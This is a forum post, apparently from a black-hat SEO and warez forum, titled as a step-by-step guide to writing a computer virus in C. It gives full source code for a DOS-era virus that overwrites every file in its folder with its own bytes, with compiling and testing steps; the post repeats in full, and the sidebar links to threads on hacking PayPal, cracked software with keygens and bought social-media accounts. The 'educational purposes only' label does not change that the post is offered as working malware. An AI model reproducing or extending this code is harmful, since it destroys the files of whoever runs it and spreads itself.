Similar topics
Most active topics
Social bookmarking
Bookmark and share the address of warez forum on your social bookmarking website
Bookmark and share the address of SEO Forum on your social bookmarking website
How to Create a Computer Virus in C? -Step wise Explaination
SEO Forum :: BlackHatWorld :: SEO
Page 1 of 1
How to Create a Computer Virus in C? -Step wise Explaination
This
program is an example of how to create a virus in c.This program
demonstrates a simple virus program which upon execution (Running)
creates a copy of itself in the other file.Thus it destroys other files
by infecting them. But the virus infected file is also capable of
spreading the infection to another file and so on.Here’s the source code
of the virus program.
#include
#include
#include
#include
#include
#include
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(”*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(”Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(”DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(”TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}
COMPILING METHOD:
BORLAND TC++ 3.0 (16-BIT):
1. Load the program in the compiler, press Alt-F9 to compile
2.
Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL
INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)
3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)
4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)
5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect
BORLAND C++ 5.5 (32-BIT) :
1. Compile once,note down the generated EXE file length in bytes
2. Change the value of X in source code to this length in bytes
3. Recompile it.The new EXE file is ready to infect
HOW TO TEST:
1. Open new empty folder
2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)
3. Run the virus EXE file there you will see all the files in the current directory get infected.
4.All the infected files will be ready to reinfect
That’s it
WARNING: FOR EDUCATIONAL PURPOSES ONLY
program is an example of how to create a virus in c.This program
demonstrates a simple virus program which upon execution (Running)
creates a copy of itself in the other file.Thus it destroys other files
by infecting them. But the virus infected file is also capable of
spreading the infection to another file and so on.Here’s the source code
of the virus program.
#include
#include
#include
#include
#include
#include
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(”*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(”Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(”DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(”TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}
COMPILING METHOD:
BORLAND TC++ 3.0 (16-BIT):
1. Load the program in the compiler, press Alt-F9 to compile
2.
Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL
INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)
3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)
4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)
5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect
BORLAND C++ 5.5 (32-BIT) :
1. Compile once,note down the generated EXE file length in bytes
2. Change the value of X in source code to this length in bytes
3. Recompile it.The new EXE file is ready to infect
HOW TO TEST:
1. Open new empty folder
2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)
3. Run the virus EXE file there you will see all the files in the current directory get infected.
4.All the infected files will be ready to reinfect
That’s it
WARNING: FOR EDUCATIONAL PURPOSES ONLY
SEO Forum :: BlackHatWorld :: SEO
Page 1 of 1
Permissions in this forum:
You cannot reply to topics in this forum
Fri Nov 02, 2012 8:13 am by krishdell
» Buy PVA Hotmail Accounts
Tue Oct 23, 2012 7:00 am by kristendesouza
» Buy Twitter Followers | Buy Bulk Twitter Followers
Sat Oct 06, 2012 3:15 am by doofymartin
» Buy Twitter Followers | Buy Bulk Twitter Followers
Sat Oct 06, 2012 3:11 am by doofymartin
» Buy Twitter Followers | Buy Bulk Twitter Followers
Sat Oct 06, 2012 3:06 am by doofymartin
» High Pr [03-09] Back Link list and do follow website's
Sat May 07, 2011 9:11 am by Admin
» [GET] FUll Free Pakage 7000+ Backlinks - BACKLINKBonanza! d0f0llow Forum Links, Blog Comments and more!
Mon May 02, 2011 6:21 am by bdconnect
» 100$/Day....1000%working Trick (only 15min/day working)
Sun Apr 24, 2011 12:08 am by Admin
» Invest 1$ and trick to increase it
Sun Apr 10, 2011 9:49 am by Admin
» 10 Steps to Buying Anything Online for $.01 by Hacking Paypal
Thu Mar 10, 2011 9:14 am by virus231
» Hacking Rapid share and mega upload
Thu Mar 10, 2011 9:11 am by virus231
» Top 11 URl Shortening services - Learn alatest Computer And Mobile Hacking Tricks
Thu Mar 10, 2011 6:26 am by virus231
» SEOmoz Guides SEO Books
Thu Mar 10, 2011 6:21 am by virus231
» Advanced Bulk Backlinks Checker
Thu Mar 10, 2011 6:19 am by virus231
» Super Hide IP 3.0.9.2 + Patch
Mon Feb 28, 2011 4:02 am by samflynn
» Scientific Toolworks Understand 2.6.554 x86/x64 + Keygen
Mon Feb 28, 2011 3:53 am by samflynn
» Joboshare DVD Copy v2.9.9.0219 + Keygen
Mon Feb 28, 2011 3:30 am by samflynn
» FlashFXP 4.0.0 Build 1539 + Patch
Mon Feb 28, 2011 3:20 am by samflynn
» Efofex FX Equation v4.004.5 + Keygen
Mon Feb 28, 2011 3:10 am by samflynn
» AceMoney 4.15.1 + Keynaker
Mon Feb 28, 2011 3:00 am by samflynn